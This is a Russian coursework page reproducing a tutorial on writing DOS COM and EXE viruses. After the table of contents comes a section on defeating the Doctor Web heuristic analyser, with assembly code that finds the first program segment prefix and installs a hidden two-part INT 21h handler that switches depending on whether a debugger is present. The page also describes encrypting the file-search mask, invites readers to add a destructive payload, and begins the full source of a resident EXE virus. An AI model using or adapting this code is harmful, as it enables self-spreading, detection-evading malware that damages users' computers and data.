Вирусы

Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа

Описание работы

Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-

Содержание

ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82


ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного

Работа содержит 1 файл

virur.doc

— 1.23 Мб (Скачать)

        система заражена  неизвестным вирусом,и в каче-

        стве адреса,  по которому расположен его  код ,

        выдает адрес  обработчика INT 21h .

 

    Как видим, все не так уже и сложно.Далее пользова-

    тель должен решать  сам,действительно ли вирус при-

    сутствует в его компьютере. Отметим, что для реше-

    ния  этого вопроса   нужно  иметь довольно  высокую

    квалификацию, поэтому для  подавляющего большинства

    пользователей задача  представляется неразрешимой.

 

 

              2.3 Как реализовать защиту от

                 эвристического анализа

 

    Очевидно, вирус не будет  найден в памяти,если раз-

    местить обработчик INT 21h в той ее части, в кото-

    рую загружаются пользовательские  программы .С дру-

    гой стороны, наш вирус  помещает  свой код в  самые

    старшие адреса основной  памяти . Единственным  вы-

    ходом из положения  было бы написание обработчика  ,

    состоящего из двух  частей. При этом "первая" часть

    должна загружаться в  область памяти,выделенную для

    загрузки прикладных  программ,а "вторую" - вместе  с

    остальной частью вируса - следует записать в стар-

    шие адреса основной  памяти .В случае возникновения

    прерывания INT 21h управление  будет  передаваться

    первой части, которая  затем передаст его второй.

    К сожалению, данный  метод себя не оправдывает.DOC-

    TOR WEB  в процессе эвристического  анализа  просто

    трассирует обработчик INT 21h до входа в его исхо-

    дный ( системный )  код,  одновременно контролируя

    адрес обработчика, и  при получении любых  подозри-

    тельных результатов  выдает сообщение о наличии  не-

    известного вируса .Поэтому  необходимо сделать так,

    чтобы при трассировании  "первой" части под управ-

    лением отладчика вызывался  системный обработчик, а

    при "нормальном" трассировании  - вирусный ( экспе-

    рименты показывают,что  DOCTOR WEB,вероятнее всего,

    содержит встроенный  отладчик) .Для реализации ука-

    занного метода можно использовать особенность мик-

    ропроцессора, состоящую  в наличии очереди команд .

    Однако этот путь по  существу является  тупиковым,

    так как вирус, реализующий  такой алгоритм,не будет

    работать  на процессорах  PENTIUM из-за наличия  в

    последних так  называемой  системы  прогнозирования

    переходов. Мы же поступим  по другому.Как вы знаете

    все отладчики интенсивно  используют прерывание 01h

    ( One Step ),обработчик которого  останавливает ра-

    боту  микропроцессора  после выполнения каждой ко-

    манды. Поэтому  естественно   предположить, что для

    проведения эвристического  анализа DOCTOR WEB уста-

    навливает собственный  обработчик Int 01h,а значит,

    заменяет  адрес  системного  обработчика в  таблице

    векторов прерываний.На факт замены этого адреса мы

    и будем  ориентироваться.  Экспериментальным  путем

    было установлено, что  системный обработчик Int 01h

    находится  в памяти  по  такому адресу : 0070:XXXX.

    Следовательно, достаточно  проверить сегментный ад-

    рес обработчика Int 01h, чтобы сказать, перехваче-

    но-ли это прерывание  какой-нибудь прикладной про-

    граммой.

    Следующая проблема,возникающая  при построении про-

    граммы обработки прерывания  из двух частей, состо-

    ит вот в чем: непонятно, куда именно следует поме-

    стить " первую " часть,чтобы  она не затиралась при

    загрузке программ  и  их работе, и не была бы видна

    с помощью, например, VC.COM или RELEASE.

    Многочисленными экспериментами  было установлено ,

    что для размещения участка обработчика прерывания,

    ответственного за " обман  " эвристического  анали-

    затора, можно использовать  байты с 38h по 5Ch,при-

    надлежащие PSP первой загруженной  в память програ-

    ммы .Эти байты зарезервированы  разработчиками опе-

    рационной системы, вероятно,для  будущих ее версий,

    и их значения остаются  постоянными в течение всего

    сеанса работы компьютера .Кроме того, зарезервиро-

    ванного пространства  в PSP вполне хватит для  раз-

    мещения программы обработки прерывания .

    Итак, можно предложить  следующий алгоритм :

 

    1.) Отыскивается PSP  первой  загруженной в  память

        программы  .

 

    2.) В байты 38h - 5Ch записывается  код  " промежу-

        точного " обработчика прерывания INT 21h .Этот

        код  должен  вызывать  системный обработчик  при

        работе под  управлением отладчика и  вирусный  в

        противном  случае .

 

    *   На самом деле  можно использовать и другие  об-

        ласти PSP, расположенные  после байта со смеще-

        нием 5Ch ( примерно 32 байта - без всяких пос-

        ледствий. ).

 

    3.) В таблице  векторов  прерываний  вектор INT 21h

        заменяется  на точку входа в промежуточный   об-

        работчик .

 

    Вот, собственно, и все  .

 

 

           2.4 Реализуем предложенный алгоритм

 

    Как мы договорились,сначала  следует найти PSP пер-

    вой загруженной в  память программы .Это можно  сде-

    лать следующим образом  :

 

    find_psp:  push es                ;Найдем первый

               xor di,di              ;PSP в памяти

               xor ax,ax

 

    to_new_seg:inc ax

               mov es,ax

               cmp ax,0ffffh          ;Этот сегмент -

               jae free_mem           ;последний ?

       cmp byte ptr es:[di],4dh

                                      ;Это - MCB -

                                      ;блок ?

       jne to_new_seg         ;Нет !

    to_test:   mov bx,ax              ;Да !

               add bx,es:[di+3]

               inc bx

               mov es,bx

               cmp byte ptr es:[di],4dh

                                      ;Следующий MCB

                                      ;корректен ?

               je  restore_es         ;Да !

               cmp byte ptr es:[di],5ah

               jne to_new_seg         ;Нет !

    restore_es:mov es,ax

            cmp word ptr es:[di+1],0  ;MCB свободен ?

               je to_new_seg          ;Да !

               mov bx,es

               inc bx

               cmp es:[di+1],bx

               jne to_new_seg

       cmp byte ptr es:[di+10h],0cdh  ;После MCB сле-

                                      ;дует PSP ?

               jne to_new_seg         ;Нет  - тогда он

                                      ;нас не интере-

                                      ;сует ...

               mov first_psp,es       ;Да - найдена

               mov cx,es              ;нужная нам

               dec es_save            ;область памяти

               cmp es_save,cx         ;А  может, мы на-

                                      ;шли свой же

                                      ;PSP ?

               jne add_05h            ;Нет !

               pop es

               jmp fresh_input        ;Да !

    add_05h:   add first_psp,05h

 

    Напомним, что  PSP  располагается в  памяти  сразу

    вслед за MCB - блоком,выделенным операционной сис-

    темой для загрузки  программы, а первым байтом  PSP

    должно быть число  0CDh, что и используется в   при-

    веденном фрагменте .

    Дополнительно следует  рассмотреть следующую ситуа-

    цию : обычно первым  PSP в памяти является PSP ко-

    мандного процессора COMMAND.COM . Но при некоторых

    конфигурациях операционой  системы  (например,  при

    использовании WINDOWS 95 в  режиме эмуляции MS DOS)

    это правило иногда  не соблюдается .Может случиться

    так, что первой в  файле  AUTOEXEC.BAT для загрузки

    указана нерезидентная  EXE - программа,  зараженная

    нашим вирусом.При старте  этой программы вирус фак-

    тически отыщет ее  же PSP и запишет туда текст про-

    межуточного обработчика  INT 21h . Далее программа

    нерезидентно завершится, после чего занимаемая  ею

    память будет использована  другими программами, по-

    этому наш  промежуточный  обработчик будет затерт ,

    и компьютер обязательно  повиснет . Чтобы этого  не

    произошло, вирус проверяет,  какой именно PSP  был

    найден первым,  и   если имела место описанная  выше

    ситуация, отказывается  от заражения памяти .

    В остальном работа  фрагмента ясна .

 

 

           2.5 Пишем  промежуточный обработчик

 

    Теперь следует написать " промежуточный " обработ-

    чик прерывания INT 21h,который  должен вызывать си-

    стемный или вирусный  обработчики данного  прерыва-

    ния в зависимости  от режима работы процессора .Эту

    задачу можно решить, например, так :

 

    to_bios:   push ax                ;Текст  промежу-

                                      ;точного

               push ds                ;обработчика

                                      ;INT 21h ...

               pushf

               xor ax,ax

               mov ds,ax

    cmp word ptr ds:[0006h],0070h     ;Int 01h пере-

                                      ;хвачено ?

               jne cs:uuuuu           ;JMP на  систем-

                                      ;ный или вирус-

                                      ;ный обработчики

                                      ;INT 21h ...

               popf

               pop ds

               pop ax

               db 0eah                ;На вирусный ...

    our_21h_ip dw to_new_21h

    our_21h_cs dw 00h

    uuuuu:     popf

               pop ds

               pop ax

               db 0eah                ;На системный...

    sys_21h_ip dw 00h

    sys_21h_cs dw 00h

 

    code_len equ $ - to_bios          ;Длина обработ-

                                      ;чика

 

    Данный фрагмент написан   настолько просто, что ни-

    каких пояснений по  поводу его работы не требуется.

 

 

         2.6 Защита  от обнаружения вируса в файле

 

    Защитить вирус от  обнаружения в файле намного  про-

    ще, чем в памяти.Достаточно  только зашифровать ма-

    ску для поиска  EXE - программ ( *.exe ), и  вирус

    обнаружен не будет.Естественно,  перед поиском фай-

    ла - жертвы маска должна  быть расшифрована,а в за-

    раженном файле присутствовать  в зашифрованном  ви-

    де.

    Для решения этой задачи  был предложен такой  алго-

    ритм: маска расшифровывается вирусной  копией, на-

    ходящейся в памяти, непосредственно  перед  поиском

    EXE-файла,а при записи  вирусного кода в файл снова

    шифруется. Вряд-ли DOCTOR WEB станет устанавливать

    резидентный вирус   в память, а потом еще и  прове-

    рять, как он работает. А при простом просмотре или

    даже прохождении   зараженной программы  отладчиком

    можно увидеть только  закодированную маску.

 

 

              2.7 Несколько слов о вредных

              действиях вирусной программы

 

    Вирус, как правило,  для того и пишется,чтобы кому-

    то навредить или пошутить  над пользователями .Поэ-

    тому естественно было  бы включить в него какие-ни-

    будь действия,мешающие  нормальной работе  операто-

    ров компьютеров .Конечно,здесь существует огромная

    свобода : от  тривиальной  блокировки клавиатуры до

    " осыпания " букв с  экрана или форматирования вин-

    честера . Многие  вирусы  вообще содержат серьезные

    ошибки,  из - за  которых  зараженная система может

    перестать работать, поэтому что - нибудь более не-

    приятное придумать непросто .

    Поскольку книга носит  учебный харатер, мы не будем

    развивать  " вредительскую  " тему, а вместо  этого

    предоставим нашим читателям  возможность  творчески

    подойти к задаче.Можете не огорчаться - встроить в

    вирусную  программу   вредное  действие  на порядок

    проще,чем создать эту  программу.Учтите только, что

    изготовление вирусов  - дело очень неблагодарное, и

    без  должной конспирации  способно принести  самому

    " писателю " массу  неприятностей.Сами вирусы (осо-

    бенно чужие) - довольно  неприятная штука, хотя эта

    тема очень интересна.

 

 

        2.8 Полный текст  резидентного EXE - вируса

 

    Как  я уже говорил,  эта программа является  просто

   итогом  всех предыдущих и фактически составлена из

    их частей .Поэтому больше  объяснять, вероятно, не-

    чего .Последний штрих  - приведем полный текст раз-

    работанного нами резидентного EXE - вируса :

 

    ; _______________________________________________

    ;|                                               |

    ;| EXE TSR virus                                 |

    ;| Especially for my readers                     |

    ;|_______________________________________________|

 

    prg segment

        assume cs:prg,ds:prg,es:prg,ss:prg

               org 100h

 

    vir:       db 0ebh                ;9090h - Для

                                      ;резидентной

               db push_len            ;работы .

 

               pushf

               call cs:rest_code      ;Для надежности

Информация о работе Вирусы